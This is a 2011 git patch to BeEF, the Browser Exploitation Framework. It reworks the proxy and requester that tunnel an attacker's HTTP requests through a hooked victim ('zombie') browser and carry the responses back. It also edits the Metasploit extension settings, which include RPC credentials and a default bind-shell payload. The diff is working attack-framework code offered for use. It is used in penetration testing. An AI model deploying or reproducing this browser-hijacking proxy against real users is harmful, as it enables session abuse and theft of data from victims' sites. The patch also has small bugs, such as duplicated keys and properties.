From 6af4f673d3641396acf153a423955d7b0fd1e06d Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sun, 26 Jun 2011 18:03:53 +0000 Subject: [PATCH] Proxy and Requester enhancements. Proxy got a good performance improvement, it's now multi-thread, able to handle errors, can be used with a normal browser. Requester core (ruby/js) has been enhanced too: db model, js logic and parsing code. Many previous bugs in different parts have been corrected. git-svn-id: https://beef.googlecode.com/svn/trunk@1027 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- core/main/client/net.js | 126 ++++++++++++++++-- core/main/client/net/requester.js | 14 +- .../controllers/requester/requester.rb | 11 +- .../ui/panel/tabs/ZombieTabRequester.js | 16 ++- extensions/metasploit/config.yaml | 6 +- extensions/metasploit/msfcommand.rb | 5 +- extensions/proxy/extension.rb | 6 +- extensions/proxy/handlers/zombie/handler.rb | 55 ++++---- extensions/proxy/models/http.rb | 66 --------- extensions/proxy/zombie.rb | 19 +-- extensions/requester/api.rb | 2 +- extensions/requester/api/hook.rb | 20 +-- extensions/requester/handler.rb | 24 ++-- extensions/requester/models/http.rb | 53 ++++---- 14 files changed, 233 insertions(+), 190 deletions(-) delete mode 100644 extensions/proxy/models/http.rb diff --git a/core/main/client/net.js b/core/main/client/net.js index 13795cb28..6a611702e 100644 --- a/core/main/client/net.js +++ b/core/main/client/net.js @@ -20,7 +20,6 @@ beef.net = { this.results = null; this.handler = null; this.callback = null; - this.results = null; }, //Packet object @@ -49,6 +48,7 @@ beef.net = { */ response: function() { this.status_code = null; // 500, 404, 200, 302 + this.status_text = null; // success, timeout, error, ... this.response_body = null; // "…." if not a cross domain request this.port_status = null; // tcp port is open, closed or not http this.was_cross_domain = null; // true or false @@ -128,7 +128,7 @@ beef.net = { * @param: {String} data: This will be used as the query string for a GET or post data for a POST * @param: {Int} timeout: timeout the request after N seconds * @param: {String} dataType: specify the data return type expected (ie text/html/script) - * @param: {Funtion} callback: call the callback function at the completion of the method + * @param: {Function} callback: call the callback function at the completion of the method * * @return: {Object} response: this object contains the response details */ @@ -147,13 +147,32 @@ beef.net = { response.was_cross_domain = cross_domain; var start_time = new Date().getTime(); - //build and execute request + + //configure the ajax object for dataType + if(dataType == null){ + /* + * For Cross-Domain XHR always use dataType: script, + * otherwise even if the HTTP resp is 200, jQuery.ajax will always launch the error() event + */ + if(cross_domain){ + $j.ajaxSetup({ + dataType: 'script' + }); + } + + // if the request is not crossdomain, let jQuery infer the dataType based on the MIME type of the response + + }else{ + //if the dataType is explicitly set, let use it + $j.ajaxSetup({ + dataType: dataType + }); + } + + //build and execute the request $j.ajax({type: method, - /* - * For Cross-Domain XHR always use dataType: script, - * otherwise even if the HTTP resp is 200, jQuery.ajax will always launch the error() event - */ - dataType: dataType, + + //dataType: dataType, url: url, data: data, timeout: (timeout * 1000), @@ -181,6 +200,97 @@ beef.net = { return response; }, + /* + * Similar to this.request, except from a few things that are needed when dealing with proxy requests: + * - requestid parameter: needed on the callback, + * - crossdomain checks: if crossdomain requests are tunneled through the proxy, they must be not issued because + * they will always throw error for SoP. This can happen when tunneling a browser: for example + * Firefox and Chrome automatically requests /safebrowsing/downloads (XHR) + */ + proxyrequest: function(scheme, method, domain, port, path, anchor, data, timeout, dataType, requestid, callback) { + //check if same domain or cross domain + cross_domain = !((document.domain == domain) && ((document.location.port == port) || (document.location.port == "" && port == "80"))); + + //build the url + var url = scheme+"://"+domain; + url = (port != null) ? url+":"+port : url; + url = (path != null) ? url+path : url; + url = (anchor != null) ? url+"#"+anchor : url; + + //define response object + var response = new this.response; + response.was_cross_domain = cross_domain; + + // if the request is crossdomain, don't proceed and return + if (cross_domain && callback != null) { + response.status_code = -1; + response.status_text = "crossdomain"; + response.response_body = "ERROR: Cross Domain Request"; + callback(response, requestid); + return response; + } + + var start_time = new Date().getTime(); + + //configure the ajax object for dataType + if(dataType == null){ + /* + * For Cross-Domain XHR always use dataType: script, + * otherwise even if the HTTP resp is 200, jQuery.ajax will always launch the error() event + */ + if(cross_domain){ + $j.ajaxSetup({ + dataType: 'script' + }); + } + + // if the request is not crossdomain, let jQuery infer the dataType based on the MIME type of the response + + }else{ + //if the dataType is explicitly set, let use it + $j.ajaxSetup({ + dataType: dataType + }); + } + + + //build and execute the request + $j.ajax({type: method, + + //dataType: dataType, + url: url, + data: data, + timeout: (timeout * 1000), + + //function on success + success: function(data, textStatus, xhr){ + var end_time = new Date().getTime(); + response.status_code = xhr.status; + response.status_text = textStatus; + response.response_body = data; + response.port_status = "open"; + response.was_timedout = false; + response.duration = (end_time - start_time); + }, + //function on failure + error: function(xhr, textStatus, errorThrown){ + var end_time = new Date().getTime(); + if (textStatus == "timeout"){response.was_timedout = true;} + response.status_code = xhr.status; + response.status_text = textStatus; + response.duration = (end_time - start_time); + }, + //function on completion + complete: function(xhr, textStatus) { + response.status_code = xhr.status; + response.status_text = textStatus; + callback(response, requestid); + } + }); + return response; + + }, + //this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {} //http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/ clean: function(r) { diff --git a/core/main/client/net/requester.js b/core/main/client/net/requester.js index 703f4c6ee..62caa61cc 100644 --- a/core/main/client/net/requester.js +++ b/core/main/client/net/requester.js @@ -15,10 +15,16 @@ beef.net.requester = { send: function(requests_array) { for (i in requests_array) { request = requests_array[i]; - beef.net.request('http', request.method, request.host, request.port, request.uri, null, null, 10, 'HTML', function(res) { beef.net.send('/requester', request.id, res.response_body); }); + beef.net.proxyrequest('http', request.method, request.host, request.port, + request.uri, null, null, 10, null, request.id, + function(res, requestid) { beef.net.send('/requester', requestid, { + response_data:res.response_body, + response_status_code: res.status_code, + response_status_text: res.status_text}); + } + ); } - } - + } }; -beef.regCmp('beef.net.requester'); +beef.regCmp('beef.net.requester'); \ No newline at end of file diff --git a/extensions/admin_ui/controllers/requester/requester.rb b/extensions/admin_ui/controllers/requester/requester.rb index 0dc92a2a3..af7201a9f 100644 --- a/extensions/admin_ui/controllers/requester/requester.rb +++ b/extensions/admin_ui/controllers/requester/requester.rb @@ -71,7 +71,7 @@ class Requester < BeEF::Extension::AdminUI::HttpController :method => request.request_method, :domain => request.host, :path => request.unparsed_uri, - :date => Time.now, + :request_date => Time.now, :hooked_browser_id => zombie.id ) @@ -106,7 +106,10 @@ class Requester < BeEF::Extension::AdminUI::HttpController 'domain' => http.domain, 'path' => http.path, 'has_ran' => http.has_ran, - 'date' => http.date + 'request_date' => http.request_date, + 'response_date' => http.response_date, + 'response_status_code' => http.response_status_code, + 'response_status_text' => http.response_status_text } } @@ -131,10 +134,10 @@ class Requester < BeEF::Extension::AdminUI::HttpController res = { 'id' => http_db.id, 'request' => http_db.request, - 'response' => http_db.response, + 'response' => http_db.response_data, 'domain' => http_db.domain, 'path' => http_db.path, - 'date' => http_db.date, + 'date' => http_db.request_date, 'has_ran' => http_db.has_ran } diff --git a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabRequester.js b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabRequester.js index 6f836e8ea..259355b51 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabRequester.js +++ b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabRequester.js @@ -29,8 +29,8 @@ ZombieTab_Requester = function(zombie) { autoLoad: false, root: 'history', - fields: ['domain', 'date', 'id', 'has_ran', 'path'], - sortInfo: {field: 'date', direction: 'DESC'}, + fields: ['domain', 'request_date', 'response_date','id', 'has_ran', 'path','response_status_code', 'response_status_text'], + sortInfo: {field: 'request_date', direction: 'DESC'}, baseParams: { nonce: Ext.get("nonce").dom.value, @@ -67,10 +67,14 @@ ZombieTab_Requester = function(zombie) { columns: [ {header: 'id', width: 10, sortable: true, dataIndex: 'id', hidden: true}, - {header: 'domain', sortable: true, dataIndex: 'domain'}, - {header: 'path', sortable: true, dataIndex: 'path'}, - {header: 'response', width: 20, sortable: true, dataIndex: 'has_ran'}, - {header: 'date', width: 50, sortable: true, dataIndex: 'date'} + {header: 'Domain', sortable: true, dataIndex: 'domain'}, + {header: 'Path', sortable: true, dataIndex: 'path'}, + {header: 'Res Code', width: 35, sortable: true, dataIndex: 'response_status_code'}, + {header: 'Res TextCode', width: 35, sortable: true, dataIndex: 'response_status_text'}, + {header: 'Processed', width: 30, sortable: true, dataIndex: 'has_ran'}, + {header: 'Req Date', width: 50, sortable: true, dataIndex: 'request_date'}, + {header: 'Res Date', width: 50, sortable: true, dataIndex: 'response_date'} + ], listeners: { diff --git a/extensions/metasploit/config.yaml b/extensions/metasploit/config.yaml index 29df26722..eac777cdf 100644 --- a/extensions/metasploit/config.yaml +++ b/extensions/metasploit/config.yaml @@ -7,10 +7,10 @@ beef: extension: metasploit: - enable: true - host: "10.211.55.2" + enable: false + host: "192.168.10.128" path: "/RPC2" port: 55553 user: "msf" pass: "abc123" - callback_host: "10.211.55.2" + callback_host: "192.168.10.128" diff --git a/extensions/metasploit/msfcommand.rb b/extensions/metasploit/msfcommand.rb index 0f656f079..3b8680de6 100644 --- a/extensions/metasploit/msfcommand.rb +++ b/extensions/metasploit/msfcommand.rb @@ -115,8 +115,8 @@ module Commands payloads.each { |p| pl << [p] - } - + } + @info['Data'] << { 'name' => 'PAYLOAD', 'type' => 'combobox', 'anchor' => '95% -100', @@ -130,6 +130,7 @@ module Commands 'mode' => 'local', 'reloadOnChange' => true, # reload payloads 'defaultPayload' => "generic/shell_bind_tcp", # default combobox value + 'defaultPayload' => "generic/shell_bind_tcp", 'emptyText' => "select a payload..." } diff --git a/extensions/proxy/extension.rb b/extensions/proxy/extension.rb index a4dc8de11..01d08a408 100644 --- a/extensions/proxy/extension.rb +++ b/extensions/proxy/extension.rb @@ -5,10 +5,8 @@ module Proxy extend BeEF::API::Extension @short_name = 'proxy' - @full_name = 'proxy' - - @description = 'allows proxy communication with a zombie' + @description = 'The proxy allow to tunnel HTTP requests to the hooked domain through the victim browser' end end @@ -18,7 +16,7 @@ require 'webrick/httpproxy' require 'webrick/httputils' require 'webrick/httprequest' require 'webrick/httpresponse' -require 'extensions/proxy/models/http' +require 'extensions/requester/models/http' require 'extensions/proxy/base' require 'extensions/proxy/zombie' require 'extensions/proxy/api' diff --git a/extensions/proxy/handlers/zombie/handler.rb b/extensions/proxy/handlers/zombie/handler.rb index 28010e7e5..40bcce85b 100644 --- a/extensions/proxy/handlers/zombie/handler.rb +++ b/extensions/proxy/handlers/zombie/handler.rb @@ -3,25 +3,18 @@ module Extension module Proxy module Handlers module Zombie - - module Handler - - # Variable representing the Http DB model. + + class Handler + + attr_reader :guard + @response_body = nil H = BeEF::Core::Models::Http + # This function will forward requests to the target and # the browser will perform the request. Then the results - # will be sent back to use + # will be sent back. def forward_request(hooked_browser_id, req, res) - # Generate an id for the req in the http table and check it doesnt already exist - http_id = rand(10000) - http_db = H.first(:id => http_id) || nil - - while !http_db.nil? - http_id = rand(10000) - http_db = H.first(:id => http_id) || nil - end - # Append port to domain string if not 80 or 443 if req.port != 80 or req.port != 443 domain = req.host.to_s + ':' + req.port.to_s @@ -29,39 +22,37 @@ module Zombie domain = req.host.to_s end - # Saves the new HTTP request to the db for processing by browser + # Saves the new HTTP request to the db for processing by browser. + # IDs are created and incremented automatically by DataMapper. http = H.new( - :id => http_id, :request => req, :method => req.request_method.to_s, :domain => domain, :path => req.path.to_s, - :date => Time.now, + :request_date => Time.now, :hooked_browser_id => hooked_browser_id ) http.save - print_debug "[PROXY] Request #" + http_id.to_s + " to " + domain + req.path.to_s + " added to queue for browser id #" + hooked_browser_id.to_s - - # Polls the DB for the response and then sets it when present - http_db = H.first(:id => http_id) + # Starts a new thread scoped to this Handler instance, in order to minimize performance degradation + # while waiting for the HTTP response to be stored in the db. + print_info("[PROXY] Thread started in order to process request ##{http.id} to [#{req.path.to_s}] on domain [#{domain}]") + @response_thread = Thread.new do + + while !H.first(:id => http.id).has_ran + sleep 0.5 + end + + @response_body = H.first(:id => http.id).response_data - while !http_db.has_ran - http_db = H.first(:id => http_id) end - - print_debug "[PROXY] Response to request #" + http_id.to_s + " to " + req.host.to_s + req.path.to_s + " using browser id #" + hooked_browser_id.to_s + " recieved" - - res.body = http_db.response - res + @response_thread.join + print_info("[PROXY] Response for request ##{http.id} to [#{req.path.to_s}] on domain [#{domain}] correctly processed") + res.body = @response_body end - - module_function :forward_request - end - end end end diff --git a/extensions/proxy/models/http.rb b/extensions/proxy/models/http.rb deleted file mode 100644 index 2131808e4..000000000 --- a/extensions/proxy/models/http.rb +++ /dev/null @@ -1,66 +0,0 @@ -module BeEF -module Core -module Models - # - # Table stores the http requests and responses from the requester. - # - class Http - - include DataMapper::Resource - - storage_names[:default] = 'extension.requester.http' - - property :id, Serial - - # - # The hooked browser id - # - property :hooked_browser_id, Text, :lazy => false - - # - # The http request to perform. In clear text. - # - property :request, Text, :lazy => true - - # - # The http response received. In clear text. - # - property :response, Text, :lazy => true - - # - # The http response method. GET or POST. - # - property :method, Text, :lazy => false - - # - # The content length for the request. - # - property :content_length, Text, :lazy => false, :default => 0 - - # - # The domain on which perform the request. - # - property :domain, Text, :lazy => false - - # - # The path of the request. - # - # Example: /secret.html - # - property :path, Text, :lazy => false - - # - # The date at which the http request has been saved. - # - property :date, DateTime, :lazy => false - - # - # Boolean value to say if the http response has been received or not. - # - property :has_ran, Boolean, :default => false - - end - -end -end -end diff --git a/extensions/proxy/zombie.rb b/extensions/proxy/zombie.rb index f43bfc723..e607e2217 100644 --- a/extensions/proxy/zombie.rb +++ b/extensions/proxy/zombie.rb @@ -4,20 +4,15 @@ module Proxy class HttpProxyZombie < BeEF::Extension::Proxy::HttpProxyBase - attr_accessor :proxy_zombie_id - HB = BeEF::Core::Models::HookedBrowser def initialize @configuration = BeEF::Core::Configuration.instance - @config = {} @config[:BindAddress] = @configuration.get('beef.extension.proxy.address') @config[:Port] = @configuration.get('beef.extension.proxy.port') @config[:ServerName] = "BeEF " + @configuration.get('beef.version') @config[:ServerSoftware] = "BeEF " + @configuration.get('beef.version') - - proxy_zombie_id = nil super end @@ -25,17 +20,17 @@ module Proxy proxy_browser = HB.first(:is_proxy => true) if(proxy_browser != nil) proxy_browser_id = proxy_browser.id.to_s - print_debug "[PROXY] Current proxy browser id is #" + proxy_browser_id + #print_debug "[PROXY] Current proxy browser id is #" + proxy_browser_id else - proxy_zombie_id = 1 - print_debug "[PROXY] Proxy browser not set so defaulting to browser id #1" + proxy_browser_id = 1 + print_debug "[PROXY] Proxy browser not set. Defaulting to browser id #1" end - # blocking request - res = BeEF::Extension::Proxy::Handlers::Zombie::Handler.forward_request(proxy_zombie_id, req, res) - + forwarder = BeEF::Extension::Proxy::Handlers::Zombie::Handler.new + res = forwarder.forward_request(proxy_browser_id, req, res) + res # remove beef hook if it exists - remove_hook(res) + #remove_hook(res) end end diff --git a/extensions/requester/api.rb b/extensions/requester/api.rb index f20d850e8..4e2985330 100644 --- a/extensions/requester/api.rb +++ b/extensions/requester/api.rb @@ -20,7 +20,7 @@ module Requester extend BeEF::API::Server::Hook def self.pre_hook_send(hooked_browser, body, params, request, response) - dhook = BeEF::Extension::Requester::API::Hook.new + dhook = BeEF::Extension::Requester::API::Hook.new dhook.requester_run(hooked_browser, body) end diff --git a/extensions/requester/api/hook.rb b/extensions/requester/api/hook.rb index 22bca5515..f61c026ad 100644 --- a/extensions/requester/api/hook.rb +++ b/extensions/requester/api/hook.rb @@ -8,7 +8,8 @@ module API # That module is dependent on 'Common'. Hence to use it, # your code also needs to include that module. # - class Hook + require 'uri' + class Hook include BeEF::Core::Handlers::Modules::BeEFJS @@ -22,11 +23,13 @@ module API BeEF::Core::Models::Http.all(:hooked_browser_id => hb.id, :has_ran => false).each {|h| output << self.requester_parse_db_request(h) } - - # we stop here of our output in empty, that means they aren't any requests to send + + # stop here of our output in empty, that means there aren't any requests to send return if output.empty? + + #print_debug("[REQUESTER] Sending request(s): #{output.to_json}") - # we build the beefjs requester component + # build the beefjs requester component build_missing_beefjs_components 'beef.net.requester' # we send the command to perform the requests to the hooked browser @@ -38,7 +41,6 @@ module API }); } end - # # Converts a HTTP DB Object into a BeEF JS command that @@ -74,7 +76,8 @@ module API return end end - + + uri = req.unparsed_uri # creating the request object http_request_object = { 'id' => http_db_object.id, @@ -82,12 +85,11 @@ module API 'host' => req.host, 'port' => req.port, 'params' => params, - 'uri' => req.unparsed_uri, + 'uri' => URI.parse(uri).path, 'headers' => {} } - req.header.keys.each{|key| http_request_object['headers'][key] = req.header[key]} - + http_request_object end diff --git a/extensions/requester/handler.rb b/extensions/requester/handler.rb index 0c25d4251..02c787f29 100644 --- a/extensions/requester/handler.rb +++ b/extensions/requester/handler.rb @@ -6,7 +6,6 @@ module Requester # The http handler that manages the Requester. # class Handler < WEBrick::HTTPServlet::AbstractServlet - attr_reader :guard H = BeEF::Core::Models::Http @@ -23,35 +22,42 @@ module Requester end def setup() + # validates the hook token beef_hook = @data['beefhook'] || nil - raise WEBrick::HTTPStatus::BadRequest, "beef_hook is null" if beef_hook.nil? + raise WEBrick::HTTPStatus::BadRequest, "beefhook is null" if beef_hook.nil? # validates the request id request_id = @data['cid'] || nil - raise WEBrick::HTTPStatus::BadRequest, "request_id is null" if request_id.nil? + raise WEBrick::HTTPStatus::BadRequest, "Original request id (command id) is null" if request_id.nil? # validates that a hooked browser with the beef_hook token exists in the db zombie_db = Z.first(:session => beef_hook) || nil - raise WEBrick::HTTPStatus::BadRequest, "Invalid beef hook id: the hooked browser cannot be found in the database" if zombie_db.nil? + raise WEBrick::HTTPStatus::BadRequest, "Invalid beefhook id: the hooked browser cannot be found in the database" if zombie_db.nil? # validates that we have such a http request saved in the db http_db = H.first(:id => request_id.to_i, :hooked_browser_id => zombie_db.id) || nil + #print_debug("[REQUESTER] BeEF::Extension::Requester::Handler -> Searching for request id [#{request_id.to_i}] of zombie id [#{zombie_db.id}]") raise WEBrick::HTTPStatus::BadRequest, "Invalid http_db: no such request found in the database" if http_db.nil? # validates that the http request has not be ran before raise WEBrick::HTTPStatus::BadRequest, "This http request has been saved before" if http_db.has_ran.eql? true - # validates the body - body = @data['results'] || nil - raise WEBrick::HTTPStatus::BadRequest, "body is null" if body.nil? + # validates the response code + response_code = @data['results']['response_status_code'] || nil + raise WEBrick::HTTPStatus::BadRequest, "Http response code is null" if response_code.nil? + #print_debug("[PROXY] Saving response with response code [#{@data['results']['response_status_code']}] - response body [#{@data['results']['response_data']}]") # save the results in the database - http_db.response = body + http_db.response_status_code = @data['results']['response_status_code'] + http_db.response_status_text = @data['results']['response_status_text'] + http_db.response_data = @data['results']['response_data'] + http_db.response_date = Time.now http_db.has_ran = true http_db.save - end + + end diff --git a/extensions/requester/models/http.rb b/extensions/requester/models/http.rb index 2131808e4..3c76773a5 100644 --- a/extensions/requester/models/http.rb +++ b/extensions/requester/models/http.rb @@ -12,51 +12,44 @@ module Models property :id, Serial - # # The hooked browser id - # - property :hooked_browser_id, Text, :lazy => false + property :hooked_browser_id, Text, :lazy => false - # # The http request to perform. In clear text. - # property :request, Text, :lazy => true - - # - # The http response received. In clear text. - # - property :response, Text, :lazy => true - - # + + # The http response body received. In clear text. + property :response_data, Text, :lazy => true + + # The http response code. Useful to handle cases like 404, 500, 302, ... + property :response_status_code, Integer, :lazy => true + + # The http response code. Human-readable code: success, error, ecc.. + property :response_status_text, Text, :lazy => true + # The http response method. GET or POST. - # property :method, Text, :lazy => false - - # + # The content length for the request. - # property :content_length, Text, :lazy => false, :default => 0 - - # + # The domain on which perform the request. - # property :domain, Text, :lazy => false - - # + + # Boolean value to say if the request was cross-domain + property :has_ran, Boolean, :default => false + # The path of the request. - # # Example: /secret.html - # property :path, Text, :lazy => false - - # + + # The date at which the http response has been saved. + property :response_date, DateTime, :lazy => false + # The date at which the http request has been saved. - # - property :date, DateTime, :lazy => false - - # + property :request_date, DateTime, :lazy => false + # Boolean value to say if the http response has been received or not. - # property :has_ran, Boolean, :default => false end